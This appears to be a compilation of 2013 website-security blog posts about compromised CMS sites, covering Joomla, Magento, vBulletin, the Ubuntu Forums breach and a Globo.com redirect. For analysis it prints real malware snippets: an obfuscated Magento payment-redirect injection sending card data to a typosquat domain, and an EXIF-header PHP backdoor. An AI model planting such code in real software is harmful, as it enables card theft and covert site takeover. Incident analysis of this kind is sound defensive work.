Joomla Hacks – Part I – Phishing

Joomla is a very popular open source CMS, dominating approximately 10% of the website market. While great for them, horrible for many others, as being popular often paints a big target on your back, at least when it comes to CMS applications.

Lately though, Joomla has had a bad spell, in which a vulnerability was found that was allowing for arbitrary PHP uploads via core. Any site that is not properly updated (or patched), can be an easily compromised. This applies to any website running Joomla 1.0.x, 1.5.x and the 1.6 and 1.7 branches, each one needs to be updated to the supported 2.5 or 3.0. Once that is supported, they need to be updated again to the latest 3.1.5 or 2.5.14 versions.

Unfortunately for Joomla users, the upgrade path is perhaps its weakest link. The reverse compatibility issues are so severe in the various branches that it plays right into the attackers objectives facilitating sever vulnerabilities, allowing them to have wider impacts across the website ecosystem. Because of this, we will share in this post one very specific method attackers are using to perform nefarious acts using the websites you visit or own, a little something known as Phishing.

  • Part I – Phishing injection


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Open Source Backdoor – Copyrighted Under GNU GPL

Malware code can be very small, and the impact can be very severe! In our daily tasks we find a lot of web-based malware that varies in size and impact. Some of the malware is well known and very easy to detect, others not so much, but this one is very interesting.

Open Source GNU

Here’s the backdoor, can you see what it’s doing?

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OpenX.org Compromised and Downloads Injected with a Backdoor

We received reports that OpenX.org was compromised and the OpenX download files had a backdoor injected in them. According to Heise (in German), the malicious files were modified around November/2012, and have been undetected since.

It means that if you have downloaded OpenX during the last 7 months, it likely contains a backdoor that could allow the attackers full access to your site. That’s how serious it is.

*The OpenX team have confirmed the breach and removed the bad files from their servers.


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More Creative Backdoors – Using Filename Typos

When a site gets compromised, one thing we know for sure is that the attackers will leave some piece of malware in there to allow them access back to the site. We call this type of control capability a backdoor.

Backdoors are very hard to find because they don’t have to be linked anywhere in the site, they can be very small, and can be easily confused with “normal” code. Some of them have passwords, some are heavily encrypted/encoded and can be anywhere in your site.

As part of our job remediating (cleaning) websites, we get to see all types of backdoors. One thing we are noticing is how the attackers are getting more creative each day, always trying to find ways to be more “discrete”. They often mix the backdoor files or code with core website files so that they won’t be noticed easily.

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Phishing 2.0 – Credit Card Redirection on Compromised Sites

We have seen it all when it comes to compromised sites: from silly defacements, to malware, spam, phishing and all sorts of injections. However, the bad guys are always looking to maximize their profits when they hack a site. Especially when it is an e-commerce site that processes credit cards online.

Credit Card Redirection

A new trick we are seeing being used on compromised e-commerce sites is credit card redirection. The attackers modify the flow of the payment process so that instead of just processing the card, they redirect all payment details to a domain they own so they can steal the card details.

This is often done very stealthy, with minimal changes to the site. Credit cards are very valuable in the black market, so the attackers try to stay on as long as possible without being detected.

Magento Redirection

Because of the nature of Magento websites, they are a big target. We are seeing sites having the credit card processing file modified to either email the credit card details or redirect them to a new domain. In this specific case, the file “app/code/community/MageBase/DpsPaymentExpress/Model/Method/Pxpay.php” (use for PaymentExpress payment handling) was modified with this code:

$oo = base64_decode(‘cGF5bWVudGV4cHJlc3M=’); $_oo = base64_decode("cGF5bWVudGlleHByZXNz’);$_is = base64_decode("c2Vzc19pZA==’);
$_oi = base64_decode("cHJlZ19yZXBsYWNl’);
$responseURI = $_oi(‘/’.$oo.’/’,$_oo,strval($responseXml->URI));

Which once decoded, replaces every occurrence of paymentexpress for paymentiexpress (see extra i). This forces the payment processing to be tunneled here:

https://sec.paymentiexpress.com/pxpay/pxaccess.aspx (see the i again)

Instead of the real URL:

https://sec.paymentexpress.com/pxpay/pxaccess.aspx

This redirection forces all the transaction data, including credit card details (name, address, CC and CVV), through their malicious server, in turn allowing the data to be stolen by the bad guys.

Paymentiexpress.com Phishing

The domain paymentiexpress.com was just registered a few days ago using whois privacy:

Registration Service Provided By: Namecheap.com
Contact: support@namecheap.com
Visit: http://namecheap.com
Registered through: eNom, Inc.
Creation date: 18 Jul 2013 18:02:00
Expiration date: 18 Jul 2014 18:02:00

And is currently live and not blacklisted by anyone (except us now). It has a proper SSL certificate (by RapidSSL) and everything that makes a trusted worthy phishing page.

What is also interesting is this new evolution of phishing, so that instead of tricking users into clicking into a bad url, it tricks the site itself to redirect the users information there.

Ubuntu Forums Hacked

Ubuntu’s official forum web site (ubuntuforums.org) was hacked, defaced and all user names and
passwords stolen. The forum was very popular with over 1.8 million registered users. The site is now disabled with this warning:

What we know:

-Unfortunately the attackers have gotten every user’s local username, password, and email address from the Ubuntu Forums database.

-The passwords are not stored in plain text. However, if you were using the same password as your Ubuntu Forums one on another service (such as email), you are strongly encouraged to change the password on the other service ASAP.

The site was running vBulletin and according to some sources, it was outdated and didn’t have the admin panel protected. During the time it was defaced, it was redirecting to “ubuntuforums.org/signaturepics/Sput.html”, which had this image:

Ubuntu forums hacked

Size of the attack and consequences

The Ubuntu forum was very large with over 1,800,000 registered members. Even though the passwords were not stored in plain text, they should be considered compromised and known by the attackers. And since the site used vBulletin, it is likely that they were just hashed with md5, which makes the job a lot easier to the attackers.

If you have an account there and you use the same password some where else, please
change the password asap.

Malware Hidden Inside JPG EXIF Headers

A few days ago, Peter Gramantik from our research team found a very interesting backdoor on a compromised site. This backdoor didn’t rely on the normal patterns to hide its content (like base64/gzip encoding), but stored its data in the EXIF headers of a JPEG image. It also used the exif_read_data and preg_replace PHP functions to read the headers and execute itself.

Technical Details

The backdoor is divided into two parts. The first part is a mix of the exif_read_data function to read the image headers and the preg_replace function to execute the content. This is what we found in the compromised site:

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');
preg_replace($exif['Make'],$exif['Model'],'');


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vBulletin Infections from Adabeupdate

vBulletin is a popular forum platform that is also starting to become a popular target for web attacks. vBulletin (and vbSEO) had some serious security vulnerabilities in older versions, and when a forum using them is not properly updated, it ends up hosting malware like the one we will analyze here in this post.

vBulletin in SiteCheck

Technical Analysis

vBulletin is very unique on how it stores its templates and plugins, It’s different than WordPress and Joomla, all the content is saved in the database. That makes it a bit more complicated for webmasters because they can’t just use common command line tools (like grep) to search through all their files. They need to use phpMyAdmin or another database tool to try to find and fix those issues.

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Brazilian Protests Leading to Mass Defacements

Lately, Brazil is going through a series of political protests against the current administration and the large amount of over expenses related to the 2014 Soccer/FIFA World cup. When the police started to close down the protesters in the streets, they went online. We won’t go into much more politics, but those online protests recently switched from Twitter/Facebook discussions into a mass defacement of multiple high profiles sites (and Twitter accounts).

It includes the Twitter of the Veja Magazine (with over 2.5m followers – one of the biggest in Brazil):

Revista Veja compromised

And the site for Brazilian’s richest man, Eike Batista:

Screen Shot 2013-06-17 at 5.09.36 PM

Government sites affected too

And that’s not all, many government sites are getting hacked and defaced as part of the protest. All of them begging for the population to join them in the streets and in front of the soccer stadiums to show their dissatisfaction with what is happening. This is a small list of the ones defaced early today:

http://samu192.com.br/

http://www.juazeirinho.pb.gov.br/

http://www.camaradocabo.pe.gov.br/

http://www.macaeprev.rj.gov.br/

http://www.ciscel.mg.gov.br/

http://copa2014.gov.br/

http://www.saofelixdoaraguaia.mt.gov.br/

http://copaemcuiaba.com.br/

http://www.frentedetrabalho.sp.gov.br

We are also seeing some sites suffering from DDOS (denial of service) attacks. We don’t know exactly how those sites are getting hacked, but we will keep monitoring the situation and providing updates as they come. Note that none of the compromised sites were injected to host malware.

Globo.com redirecting users to Spam ads

Globo.com, one of the largest Brazilian web portals (ranked #107 on Alexa and #6 for Brazilian traffic) appears to be compromised and all visits to it are being redirected to a sub page inside pagesinxt.com. If you go to g1.globo.com (or any other of their sub domains), you will end up on a page full of ads about Hosting, Internet and fake email products:

Globo.com redirection

That redirection has been going for a few hours at least and we detected it for the first time around 8am EST and it is still live four hours later (noon EST).

What is going on?

We are investigating, but at the bottom of any page inside google.com there is a script being loaded from sawpf.com:

<script defer src="httx://sawpf.com/1.0.js"></script>

That javascript file is being very slow to load, but when it does, it runs the following code:

 window.location = httx://pagesinxt.com/?dn=sawpf.com&fp=3WBUwymfgey…

Which forces the browser to redirect the to pagesinxt.com. At this point, we recommend all users to do not visit any globo.com page (or go there with Javascript disabled).

Who really owns your site?

This brings up a good topic that we brought up before. Who really owns your site? Every time you include a javascript (or widget or iframe), the security of your site becomes dependent on that third party server. It doesn’t looks like Globo in itself got compromised, but since they are including code from sawpf.com, they are only as secure as them.

Every time you add a remote JavaScript (or widget or iFrame) to your site, you are giving the server that houses that code full control of what is displayed to your users. If their servers get compromised, your site will be compromised as well.

Can you imagine if the author of the Easing Plugin was malicious? Instead of just that pop-up, they could have added a URL redirect to send all your users to any site they of their choosing (SPAM, porn, you name it). What if their server was hacked? The attackers could have added malware and it would have loaded to all your users.

*update 1: Lots of users on Twitter are complaining about it as well. Search for sawpf or pagesinxt to see the amount of people complaining or worried about it.

*update 2: If you click on some urls inside sawpf.com, you will be redirected to pagesinxt.com as well ( for example: httx://sawpf.com/libs/jquery/1.7.1.js )